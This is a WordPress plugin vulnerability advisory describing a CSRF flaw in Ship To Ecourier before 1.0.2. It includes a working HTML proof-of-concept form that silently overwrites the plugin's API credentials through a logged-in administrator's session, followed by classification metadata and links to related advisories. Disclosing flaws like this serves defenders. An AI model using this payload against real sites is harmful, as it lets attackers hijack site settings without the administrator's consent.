Ship To Ecourier < 1.0.2 – Plugin's Settings Update via CSRF | Plugin Vulnerabilities

Description

The plugin did not properly check for CSRF, allowing attackers to make a logged in administrator update the plugin's settings

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=ship-to-ecourier" method="POST">
      <input type="hidden" name="user_id" value="Attacker" />
      <input type="hidden" name="api_key" value="CSRF" />
      <input type="hidden" name="api_secret" value="Attacker" />
      <input type="hidden" name="api_environment" value="staging" />
      <input type="hidden" name="submit_ste_ecourier_settings" value="Save Settings" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Affects Plugins

ship-to-ecourier

Fixed in 1.0.2

Classification

Type

CSRF

OWASP top 10

A2: Broken Authentication and Session Management

CWE

CVSS

Miscellaneous

Original Researcher

WPScanTeam

Verified

Yes

WPVDB ID

c84ce716-f7ed-449c-b41d-daff9f19174e

Timeline

Publicly Published

2021-05-05 (about 4 years ago)

Added

2021-05-05 (about 4 years ago)

Last Updated

2021-05-05 (about 4 years ago)

Other

Published

Title

Published

2020-02-18

Title

Easy Property Listings < 3.4 - Cross-Site Request Forgery (CSRF)

Published

2022-09-28

Title

Booking Ultra Pro < 1.1.7 - Stored Cross-Site Scripting via CSRF

Published

2023-05-25

Title

Product Gallery Slider for WooCommerce < 2.2.9 - Cross-Site Request Forgery (CSRF)

Published

2020-12-29

Title

Site Offline < 1.4.4 - Multiple Cross-Site Request Forgery

Published

2025-01-30

Title

Wonder FontAwesome <= 0.8 - Cross-Site Request Forgery to Stored Cross-Site Scripting